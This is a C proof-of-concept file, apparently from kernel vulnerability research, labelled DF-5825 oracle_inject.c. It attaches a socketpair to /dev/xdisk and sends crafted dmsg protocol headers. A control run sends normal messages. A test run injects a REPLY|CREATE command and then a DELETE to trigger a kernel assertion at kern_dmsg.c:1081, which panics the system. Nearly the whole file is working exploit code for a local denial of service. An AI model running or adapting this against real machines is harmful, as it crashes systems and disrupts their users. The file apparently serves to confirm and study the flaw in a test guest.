DF-5825 / oracle_inject.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | /* * DF-5825 oracle: does the REPLY|CREATE rxcmd injection work? * attach A (control): msg1=XX3|CREATE, then plain DELETE (no REPLY). * Expect: clean close, no panic (correct-tree removal via else branch). * attach B (test): msg1=XX3|CREATE, msg2=XX3|REPLY|CREATE (inject), * then plain DELETE (no REPLY). * Expect: if injection worked, kdmsg_state_msgrx() takes the * (rxcmd & DMSGF_REPLY) branch and hits * KKASSERT(msg->any.head.cmd & DMSGF_REPLY) at kern_dmsg.c:1081 * -> INVARIANTS panic (guest kernel is built with INVARIANTS). */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <stdint.h> #include <poll.h> struct dmsg_hdr { uint16_t magic, reserved02; uint32_t salt; uint64_t msgid, circuit, link_verifier; uint32_t cmd, aux_crc, aux_bytes, error; uint64_t aux_descr; uint32_t reserved38, hdr_crc; }; #define DMSGF_CREATE 0x80000000u #define DMSGF_DELETE 0x40000000u #define DMSGF_REPLY 0x20000000u #define XX3_CMD 0x00300101u struct xdisk_attach_ioctl { int fd; int unused01; int32_t r2[8]; }; #define XDISKIOCATTACH _IOWR('X', 0, struct xdisk_attach_ioctl) static int sv[2], xd; static void send_msg(uint32_t cmd, uint64_t msgid) { unsigned char buf[64]; struct dmsg_hdr *h = (struct dmsg_hdr *)buf; memset(buf, 0, sizeof(buf)); h->magic = 0x4832; h->msgid = msgid; h->cmd = cmd; if (write(sv[1], buf, 64) != 64) { perror("write"); exit(1); } } static int recv_msg(int ms) { struct pollfd p = { .fd = sv[1], .events = POLLIN }; struct dmsg_hdr h; unsigned char ext[2048]; size_t hb, ab; if (poll(&p, 1, ms) <= 0) return -1; if (read(sv[1], &h, 64) != 64) { perror("rhdr"); exit(1); } hb = (h.cmd & 0xff) * 64; if (hb > 64 && hb <= 2048) { size_t got = 0; while (got < hb - 64) got += read(sv[1], ext, hb - 64 - got); } ab = h.aux_bytes ? (h.aux_bytes + 63) & ~63 : 0; while (ab) { size_t n = read(sv[1], ext, ab > 2048 ? 2048 : ab); if (n <= 0) break; ab -= n; } printf(" rx cmd=%08x msgid=%016jx err=%02x\n", h.cmd, (uintmax_t)h.msgid, h.error); return 0; } static void attach(void) { struct xdisk_attach_ioctl xa; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("sp"); exit(1); } xd = open("/dev/xdisk", O_RDWR); if (xd < 0) { perror("xdisk"); exit(1); } memset(&xa, 0, sizeof(xa)); xa.fd = sv[0]; if (ioctl(xd, XDISKIOCATTACH, &xa) < 0) { perror("attach"); exit(1); } while (recv_msg(800) == 0) ; } int main(void) { uint64_t id; printf("=== A: control (no injection) ===\n"); attach(); id = 0x1111000000000001ULL; send_msg(XX3_CMD | DMSGF_CREATE, id); while (recv_msg(800) == 0) ; usleep(300000); printf(" -> plain DELETE\n"); send_msg(XX3_CMD | DMSGF_DELETE, id); usleep(500000); while (recv_msg(300) == 0) ; printf("=== A survived (expected clean close)\n"); close(sv[1]); close(sv[0]); close(xd); sleep(2); printf("=== B: REPLY|CREATE injection + plain DELETE ===\n"); attach(); id = 0x2222000000000001ULL; send_msg(XX3_CMD | DMSGF_CREATE, id); while (recv_msg(800) == 0) ; usleep(300000); printf(" -> REPLY|CREATE (inject)\n"); send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_CREATE, id); usleep(500000); while (recv_msg(300) == 0) ; printf(" -> plain DELETE (expect KKASSERT @ kern_dmsg.c:1081)\n"); send_msg(XX3_CMD | DMSGF_DELETE, id); sleep(5); printf("=== B survived (injection FAILED)\n"); return 0; } |